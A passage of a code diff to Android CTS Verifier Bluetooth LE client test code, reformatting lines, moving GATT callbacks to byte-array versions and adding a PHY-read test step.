-                            } else if (!characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
+                            } else if (!characteristic.getUuid().equals(
+                                    CHARACTERISTIC_RESULT_UUID)) {
                                 // verify
-                                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+                                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(),
+                                        characteristic.getValue())) {
                                     notifyCharacteristicWrite(value);
                                 } else {
                                     notifyError("Written data is not correct");
@@ -1068,7 +1174,8 @@
                             }
                         } else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
                             if (uid.equals(CHARACTERISTIC_NO_WRITE_UUID)) {
-                                writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.WRITE_NO_PERMISSION);
+                                writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                                        BleServerService.WRITE_NO_PERMISSION);
                                 notifyCharacteristicWriteNoPermission(value);
                             } else {
                                 notifyError("Not Permission Write: " + status + " : " + uid);
@@ -1084,7 +1191,8 @@
                         if (WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE.equals(value)) {
                             // write next data
                             mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_WRITE_2ND_DATA;
-                            writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
+                            writeCharacteristic(CHARACTERISTIC_UUID,
+                                    WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
                         } else {
                             notifyError("Failed to write characteristic: " + status + " : " + uid);
                         }
@@ -1131,31 +1239,46 @@
         }
 
         @Override
-        public void onCharacteristicRead(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {
+        public void onCharacteristicRead(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, int status) {
+            super.onCharacteristicRead(gatt, characteristic, status);
+            // Note: Both this method and onCharacteristicRead(byte[]) will be called.
             UUID uid = characteristic.getUuid();
             if (DEBUG) {
-                Log.d(TAG, "onCharacteristicRead: status=" + status);
+                Log.d(TAG, "onCharacteristicRead (deprecated): status=" + status);
             }
+        }
+
+        @Override
+        public void onCharacteristicRead(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, byte[] value, int status) {
+            super.onCharacteristicRead(gatt, characteristic, value, status);
+            UUID uid = characteristic.getUuid();
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicRead (memory safe version): status=" + status);
+            }
+
             if (status == BluetoothGatt.GATT_SUCCESS) {
-                String value = characteristic.getStringValue(0);
+                String stringValue = new String(value);
                 if (characteristic.getUuid().equals(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID)) {
-                    notifyCharacteristicReadNeedEncrypted(value);
+                    notifyCharacteristicReadNeedEncrypted(stringValue);
                 } else {
                     // verify
-                    if (BleServerService.WRITE_VALUE.equals(value)) {
-                        notifyCharacteristicRead(value);
+                    if (BleServerService.WRITE_VALUE.equals(stringValue)) {
+                        notifyCharacteristicRead(stringValue);
                     } else {
                         notifyError("Read data is not correct");
                     }
                 }
             } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
                 if (uid.equals(CHARACTERISTIC_NO_READ_UUID)) {
-                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.READ_NO_PERMISSION);
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                            BleServerService.READ_NO_PERMISSION);
                     notifyCharacteristicReadNoPermission();
                 } else {
                     notifyError("Not Permission Read: " + status + " : " + uid);
                 }
-            } else if(status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+            } else if (status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
                 notifyError("Not Authentication Read: " + status + " : " + uid);
             } else {
                 notifyError("Failed to read characteristic: " + status + " : " + uid);
@@ -1163,7 +1286,9 @@
         }
 
         @Override
-        public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+        public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+                int status) {
+            super.onDescriptorWrite(gatt, descriptor, status);
             if (DEBUG) {
                 Log.d(TAG, "onDescriptorWrite");
             }
@@ -1171,7 +1296,8 @@
             if ((status == BluetoothGatt.GATT_SUCCESS)) {
                 if (uid.equals(UPDATE_DESCRIPTOR_UUID)) {
                     Log.d(TAG, "write in update descriptor.");
-                    if (descriptor.getValue() == BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE) {
+                    if (Arrays.equals(descriptor.getValue(),
+                            BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE)) {
                         notifyDisableNotificationCompletion();
                     }
                 } else if (uid.equals(DESCRIPTOR_UUID)) {
@@ -1186,7 +1312,8 @@
                 }
             } else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
                 if (uid.equals(DESCRIPTOR_NO_WRITE_UUID)) {
-                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                            BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
                     notifyDescriptorWriteNoPermission();
                 } else {
                     notifyError("Not Permission Write: " + status + " : " + descriptor.getUuid());
@@ -1197,26 +1324,40 @@
         }
 
         @Override
-        public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+        public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+                int status) {
+            super.onDescriptorRead(gatt, descriptor, status);
+            // Note: Both this method and onDescriptorRead(byte[]) will be called.
             if (DEBUG) {
-                Log.d(TAG, "onDescriptorRead");
+                Log.d(TAG, "onDescriptorRead (deprecated)");
+            }
+        }
+
+        @Override
+        public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+                int status, byte[] value) {
+            super.onDescriptorRead(gatt, descriptor, status, value);
+            if (DEBUG) {
+                Log.d(TAG, "onDescriptorRead (memory safe version)");
             }
 
             UUID uid = descriptor.getUuid();
+            String stringValue = new String(value);
             if ((status == BluetoothGatt.GATT_SUCCESS)) {
                 if ((uid != null) && (uid.equals(DESCRIPTOR_UUID))) {
                     // verify
-                    if (Arrays.equals(BleServerService.WRITE_VALUE.getBytes(), descriptor.getValue())) {
-                        notifyDescriptorRead(new String(descriptor.getValue()));
+                    if (BleServerService.WRITE_VALUE.equals(stringValue)) {
+                        notifyDescriptorRead(stringValue);
                     } else {
                         notifyError("Read data is not correct");
                     }
                 } else if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)) {
-                    notifyDescriptorReadNeedEncrypted(new String(descriptor.getValue()));
+                    notifyDescriptorReadNeedEncrypted(stringValue);
                 }
             } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
                 if (uid.equals(DESCRIPTOR_NO_READ_UUID)) {
-                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                            BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
                     notifyDescriptorReadNoPermission();
                 } else {
                     notifyError("Not Permission Read: " + status + " : " + descriptor.getUuid());
@@ -1227,16 +1368,32 @@
         }
 
         @Override
-        public void onCharacteristicChanged(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic) {
+        public void onCharacteristicChanged(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic) {
+            super.onCharacteristicChanged(gatt, characteristic);
+            UUID uid = characteristic.getUuid();
+            // Note: Both this method and onCharacteristicChanged(byte[]) will be called.
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicChanged (deprecated): uid=" + uid);
+            }
+        }
+
+        @Override
+        public void onCharacteristicChanged(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, byte[] value) {
+            super.onCharacteristicChanged(gatt, characteristic, value);
             UUID uid = characteristic.getUuid();
             if (DEBUG) {
-                Log.d(TAG, "onCharacteristicChanged: " + uid);
+                Log.d(TAG, "onCharacteristicChanged (memory safe version): uid=" + uid);
             }
+
+            String stringValue = new String(value);
             if (uid != null) {
-                if (uid.equals(INDICATE_CHARACTERISTIC_UUID)) {
+                if (uid.equals(INDICATE_CHARACTERISTIC_UUID)
+                        && BleServerService.INDICATE_VALUE.equals(stringValue)) {
                     setNotification(characteristic, false);
                     notifyCharacteristicIndicated();
-                } else {
+                } else if (BleServerService.NOTIFY_VALUE.equals(stringValue)) {
                     mNotifyCount--;
                     setNotification(characteristic, false);
                     if (mNotifyCount == 0) {
@@ -1248,6 +1405,7 @@
 
         @Override
         public void onReliableWriteCompleted(BluetoothGatt gatt, int status) {
+            super.onReliableWriteCompleted(gatt, status);
             if (DEBUG) {
                 Log.d(TAG, "onReliableWriteComplete: " + status);
             }
@@ -1264,6 +1422,7 @@
 
         @Override
         public void onReadRemoteRssi(BluetoothGatt gatt, int rssi, int status) {
+            super.onReadRemoteRssi(gatt, rssi, status);
             if (DEBUG) {
                 Log.d(TAG, "onReadRemoteRssi");
             }
@@ -1275,7 +1434,34 @@
         }
 
         @Override
+        public void onPhyRead(BluetoothGatt gatt, int txPhy, int rxPhy, int status) {
+            super.onPhyRead(gatt, txPhy, rxPhy, status);
+            if (DEBUG) {
+                Log.d(TAG, "onPhyRead status=" + status);
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                notifyPhyRead(txPhy, rxPhy);
+            } else if (status == BluetoothGatt.GATT_REQUEST_NOT_SUPPORTED) {
+                notifyPhyReadSkipped();
+            } else {
+                notifyError("Failed to read phy");
+            }
+        }
+
+        @Override
+        public void onPhyUpdate(BluetoothGatt gatt, int txPhy, int rxPhy, int status) {
+            // TODO: Currently this is not called when BluetoothGatt.setPreferredPhy() is called.
+            // It is because the path is not wired in native code. (acl_legacy_interface.cc)
+            // Add a proper implementation and related test.
+            super.onPhyUpdate(gatt, txPhy, rxPhy, status);
+            if (DEBUG) {
+                Log.d(TAG, "onPhyUpdate");
+            }
+        }
+
+        @Override
         public void onServiceChanged(BluetoothGatt gatt) {
+            super.onServiceChanged(gatt);
             if (DEBUG) {
                 Log.d(TAG, "onServiceChanged");
             }
@@ -1309,10 +1495,12 @@
                                 notifyError("Failed to call create bond");
                             }
                         } else {
-                            mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+                            mBluetoothGatt = connectGatt(result.getDevice(), mContext, false,
+                                    mSecure, mGattCallbacks);
                         }
                     } else {
-                        mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+                        mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure,
+                                mGattCallbacks);
                     }
                 } else {
                     notifyError("There is no validity to Advertise servie.");
@@ -1342,7 +1530,7 @@
         builder.append("REQUEST_MTU");
         int len = length - builder.length();
         for (int i = 0; i < len; ++i) {
-            builder.append(""+(i%10));
+            builder.append("" + (i % 10));
         }
         return builder.toString();
     }
@@ -1352,17 +1540,18 @@
         public void onReceive(Context context, Intent intent) {
             if (intent.getAction().equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) {
                 BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
-                int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
+                int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE,
+                        BluetoothDevice.BOND_NONE);
                 switch (state) {
                     case BluetoothDevice.BOND_BONDED:
                         if ((mBluetoothGatt == null) &&
-                            (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+                                (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
                             if (DEBUG) {
                                 Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
-                                             + device + ", mSecure=" + mSecure);
+                                        + device + ", mSecure=" + mSecure);
                             }
                             mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
-                                                         mGattCallbacks);
+                                    mGattCallbacks);
                         }
                         break;
                     case BluetoothDevice.BOND_NONE:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index a05daae..2a7c8b4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.verifier.bluetooth;
 
+import static com.android.compatibility.common.util.ShellIdentityUtils.invokeWithShellPermissions;
+
 import android.app.AlertDialog;
 import android.app.Dialog;
 import android.app.ProgressDialog;
@@ -31,6 +33,7 @@
 import android.util.Log;
 import android.widget.ListView;
 
+
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -61,7 +64,8 @@
     private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x10000;
     private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x20000;
     private static final int PASS_FLAG_ON_SERVICE_CHANGED = 0x40000;
-    private static final int PASS_FLAG_ALL = 0x7FFFF;
+    private static final int PASS_FLAG_READ_PHY = 0x80000;
+    private static final int PASS_FLAG_ALL = 0xFFFFF;
 
     private final int BLE_CLIENT_CONNECT = 0;
     private final int BLE_BLE_DISCOVER_SERVICE = 1;
@@ -80,8 +84,9 @@
     private final int BLE_READ_DESCRIPTOR_NO_PERMISSION = 13;   //14;
     private final int BLE_WRITE_DESCRIPTOR_NO_PERMISSION = 14;  //15;
     private final int BLE_READ_RSSI = 15;   //16;
-    private final int BLE_ON_SERVICE_CHANGED = 15; //16; //17;
-    private final int BLE_CLIENT_DISCONNECT = 16;  //17; //18;
+    private final int BLE_READ_PHY = 15;   //16; //17;
+    private final int BLE_ON_SERVICE_CHANGED = 16; //17; //18;
+    private final int BLE_CLIENT_DISCONNECT = 17;  //18; //19;
 
     private TestAdapter mTestAdapter;
     private long mPassed;
@@ -121,6 +126,8 @@
         filter.addAction(BleClientService.BLE_RELIABLE_WRITE_COMPLETED);
         filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
         filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
+        filter.addAction(BleClientService.BLE_PHY_READ);
+        filter.addAction(BleClientService.BLE_PHY_READ_SKIPPED);
         filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
@@ -186,6 +193,7 @@
         testList.add(R.string.ble_write_descriptor_nopermission_name);
 // TODO: too flaky b/34951749
 //        testList.add(R.string.ble_read_rssi_name);
+        testList.add(R.string.ble_read_phy_name);
         testList.add(R.string.ble_on_service_changed);
         testList.add(R.string.ble_client_disconnect_name);
 
@@ -221,173 +229,185 @@
             String newAction = null;
             String actionName = null;
             long previousPassed = mPassed;
-            final Intent startIntent = new Intent(BleClientTestBaseActivity.this, BleClientService.class);
+            final Intent startIntent = new Intent(BleClientTestBaseActivity.this,
+                    BleClientService.class);
             if (action != null) {
                 Log.d(TAG, "Processing " + action);
             }
             switch (action) {
-            case BleClientService.BLE_BLUETOOTH_DISABLED:
-                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
-                break;
-            case BleClientService.BLE_BLUETOOTH_CONNECTED:
-                actionName = getString(R.string.ble_client_connect_name);
-                mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
-                mPassed |= PASS_FLAG_CONNECT;
-                // execute service discovery test
-                newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
-                break;
-            case BleClientService.BLE_SERVICES_DISCOVERED:
-                actionName = getString(R.string.ble_discover_service_name);
-                mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
-                mPassed |= PASS_FLAG_DISCOVER;
-                // execute MTU requesting test (23bytes)
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
-                break;
-            case BleClientService.BLE_MTU_CHANGED_23BYTES:
-                actionName = getString(R.string.ble_mtu_23_name);
-                mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
-                mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
-                // execute MTU requesting test (512bytes)
-                newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_MTU_CHANGED_512BYTES:
-                actionName = getString(R.string.ble_mtu_512_name);
-                mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
-                mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
-                // execute characteristic reading test
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_READ:
-                actionName = getString(R.string.ble_read_characteristic_name);
-                mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
-                // execute characteristic writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_WRITE:
-                actionName = getString(R.string.ble_write_characteristic_name);
-                mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
-                newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
-                actionName = getString(R.string.ble_read_characteristic_nopermission_name);
-                mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
-                mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
-                // execute unpermitted characteristic writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
-                actionName = getString(R.string.ble_write_characteristic_nopermission_name);
-                mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
-                mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
-                // execute reliable write test
-                newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
-                actionName = getString(R.string.ble_reliable_write_name);
-                mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
-                mPassed |= PASS_FLAG_RELIABLE_WRITE;
+                case BleClientService.BLE_BLUETOOTH_DISABLED:
+                    showErrorDialog(R.string.ble_bluetooth_disable_title,
+                            R.string.ble_bluetooth_disable_message, true);
+                    break;
+                case BleClientService.BLE_BLUETOOTH_CONNECTED:
+                    actionName = getString(R.string.ble_client_connect_name);
+                    mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
+                    mPassed |= PASS_FLAG_CONNECT;
+                    // execute service discovery test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
+                    break;
+                case BleClientService.BLE_SERVICES_DISCOVERED:
+                    actionName = getString(R.string.ble_discover_service_name);
+                    mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
+                    mPassed |= PASS_FLAG_DISCOVER;
+                    // execute MTU requesting test (23bytes)
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
+                    break;
+                case BleClientService.BLE_MTU_CHANGED_23BYTES:
+                    actionName = getString(R.string.ble_mtu_23_name);
+                    mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
+                    mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
+                    // execute MTU requesting test (512bytes)
+                    newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_MTU_CHANGED_512BYTES:
+                    actionName = getString(R.string.ble_mtu_512_name);
+                    mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
+                    mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
+                    // execute characteristic reading test
+                    newAction =
+                            BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_READ:
+                    actionName = getString(R.string.ble_read_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
+                    // execute characteristic writing test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_WRITE:
+                    actionName = getString(R.string.ble_write_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
+                    actionName = getString(R.string.ble_read_characteristic_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
+                    // execute unpermitted characteristic writing test
+                    newAction =
+                            BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
+                    actionName = getString(R.string.ble_write_characteristic_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
+                    // execute reliable write test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
+                    actionName = getString(R.string.ble_reliable_write_name);
+                    mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
+                    mPassed |= PASS_FLAG_RELIABLE_WRITE;
 //                newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE_BAD_RESP;
 
-                // skip Reliable write (bad response) test
-                mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
-                Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
-                newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
-                actionName = getString(R.string.ble_reliable_write_bad_resp_name);
-                if(!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+                    // skip Reliable write (bad response) test
                     mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
-                    mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+                    Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
+                    newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
+                    actionName = getString(R.string.ble_reliable_write_bad_resp_name);
+                    if (!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+                        mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
+                        mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+                    }
+                    // execute notification test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+                    showProgressDialog = true;
                 }
-                // execute notification test
-                newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
-                showProgressDialog = true;
-            }
                 break;
-            case BleClientService.BLE_CHARACTERISTIC_CHANGED:
-                actionName = getString(R.string.ble_notify_characteristic_name);
-                mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
-                // execute indication test
-                newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_INDICATED:
-                actionName = getString(R.string.ble_indicate_characteristic_name);
-                mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
-                // execute descriptor reading test
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_READ:
-                actionName = getString(R.string.ble_read_descriptor_name);
-                mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
-                mPassed |= PASS_FLAG_READ_DESCRIPTOR;
-                // execute descriptor writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_WRITE:
-                actionName = getString(R.string.ble_write_descriptor_name);
-                mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
-                mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
-                // execute unpermitted descriptor reading test
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
-                actionName = getString(R.string.ble_read_descriptor_nopermission_name);
-                mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
-                mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
-                // execute unpermitted descriptor writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
-                actionName = getString(R.string.ble_write_descriptor_nopermission_name);
-                mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
-                mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
+                case BleClientService.BLE_CHARACTERISTIC_CHANGED:
+                    actionName = getString(R.string.ble_notify_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
+                    // execute indication test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_INDICATED:
+                    actionName = getString(R.string.ble_indicate_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
+                    // execute descriptor reading test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_READ:
+                    actionName = getString(R.string.ble_read_descriptor_name);
+                    mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
+                    mPassed |= PASS_FLAG_READ_DESCRIPTOR;
+                    // execute descriptor writing test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_WRITE:
+                    actionName = getString(R.string.ble_write_descriptor_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
+                    mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
+                    // execute unpermitted descriptor reading test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
+                    actionName = getString(R.string.ble_read_descriptor_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
+                    // execute unpermitted descriptor writing test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
+                    actionName = getString(R.string.ble_write_descriptor_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
 // TODO: too flaky b/34951749
-                // execute RSSI requesting test
-                // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
-                // execute disconnection test
-                mPassed |= PASS_FLAG_READ_RSSI;
-                Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
-                newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
-                break;
-            case BleClientService.BLE_READ_REMOTE_RSSI:
-                actionName = getString(R.string.ble_read_rssi_name);
